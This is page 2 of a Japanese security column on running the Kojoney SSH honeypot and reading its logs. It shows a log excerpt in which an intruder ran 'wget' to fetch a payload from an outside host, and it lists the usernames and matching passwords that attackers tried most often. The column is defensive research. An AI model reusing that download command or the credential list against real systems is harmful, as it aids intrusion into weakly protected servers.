リアリティはないけど、脅威は確かにいるよ:セキュリティ・ダークナイト(5)(2/5 ページ)
ちょっと遅れてやってきた夏休みの宿題は、ハニーポットを用いた侵入手法の観察日記。狙われやすいパスワードが明らかに!(編集部)
起動と動作確認
tcp/22のLISTENが確認できたら、実際に接続してみよう。ひとまず、ユーザー名「admin」、パスワード「admin」でログインを行い、コマンドを実行してみる。
問題なくログインでき、かなり限られてはいるものの、コマンドも実行できたことかと思う。
今回は、ユーザー名「admin」、パスワード「admin」でログインしたが、Kojoneyではどんなユーザー名やパスワードでもログインできるというわけではない。実は、ログイン可能なユーザー名とパスワードの組み合わせは/etc/kojoney/fake_usersというファイル内に定義されている。
このファイルに
ユーザー名 パスワード
の形式でユーザー名とパスワードを記述することで、その組み合わせでログインしたように見せかけることが可能となる。追加したいものや削除したいものがあれば、適宜編集するといいだろう。
ちなみに筆者の場合は、rootでログインできたときのプロンプトが「$」だと不自然なので、あえてrootユーザーでのログインは拒否するようにしている(「$」や「ls」コマンドの結果などはcoret_fake.pyを編集すれば変更可能だ)。
ログインした後は、適宜、さまざまなコマンドを実行してみるといいだろう。
残された記録――ログを分析
Kojoney上でいろいろなコマンドを実行しても、偽物のシェルであるため、操作の多くは成功しなかったことだろう。しかし、その行動はすべてKojoneyに記録されている。ここからは、その記録内容の確認方法を見ていこう。
生のログは/var/log/honeypot.logに保存されている。
読めないこともないのだが、やはり見にくいと感じるだろう。そこでKojoneyでは、簡易ながら、生ログからテキストレポートを出力するツールが用意されている。
レポートツールには「kojreport」「kojreport-filter」「kip2country」「kojhumans」などがあるが、今回は、スタンダードなkojreportを使って、主立った実行結果を見ていこう。詳細はマニュアルページを参照してほしい。
【関連リンク】
kojreportのマニュアルページ
http://kojoney.sourceforge.net/kojreport.html
Authenticated users. Successfull logons --------------------------------------- 6 admin 2 oracle 1 test Total 9 Unauthenticated users. Failed logons ------------------------------------ 4 oracle 2 test Total 6
ここでは、ログインに成功したユーザー名と失敗したユーザー名およびその数が表示されている。
Executed different commands --------------------------- 9 exit 4 ls 4 id 3 uname -a 2 wget 2 w 1 whoami 1 who 1 wget http://n.pentest.jp/gosh.tgz.tar 1 uname 1 test 1 quit 1 pwd 1 ping 1 netstat -an|more 1 lks 1 ifconfig 1 ftp 1 fto 1 cd Total 39
ここでは、侵入してきたユーザーが実行したコマンドとその数が表示されている。ミスタイプしたコマンドから、侵入後に何かを仕掛けるためにwgetを用いてダウンロードした形跡までもが、上記のように保存される。また、Kojoneyはwgetされたファイルを/var/log/kojoney以下に保存している。
ls /var/log/kojoney/ http___n_pentest_jp_gosh_tgz_tar299
収集した情報から見えてくる「標的」
今回見ていただく情報は、筆者の自宅で収集した情報である。それでは、狙われたユーザー名とそのパスワードを見てみよう。
【狙われたユーザ名 TOP10】
root
test
admin
oracle
guest
user
mysql
postgres
ftp
webmaster
【使用されたパスワード TOP10】
root
test
admin
oracle
guest
user
mysql
postgres
ftp
webmaster
「狙われたユーザー名 TOP10」と「使用されたパスワード TOP10」を見ればすぐに気付くと思うが、まったく同じ文字列がまったく同じ順序でランキングに入っている。これはいったい何を意味しているのか。
これはすなわち、ユーザー名と同じ文字列のパスワード、俗にいうJOEアカウント(ユーザー名=パスワードという設定のアカウント)が最も狙われやすいことを表している。また、ログインを試行してきたログを追えば分かるのだが、一点(ユーザー)集中型よりは、JOEアカウント狙いで広く浅く、という傾向が筆者の環境では見られた。
侵入する者にとっては、ある特定のサーバに目星を付けて侵入するのではなく、どこでもいいから容易に侵入できるサーバに侵入する、「ローコストハイリターン」を狙う傾向があると考えられる。実際に、こうした傾向を裏付けるデータがあることを知っていただければ幸いだ。
Copyright © ITmedia, Inc. All Rights Reserved.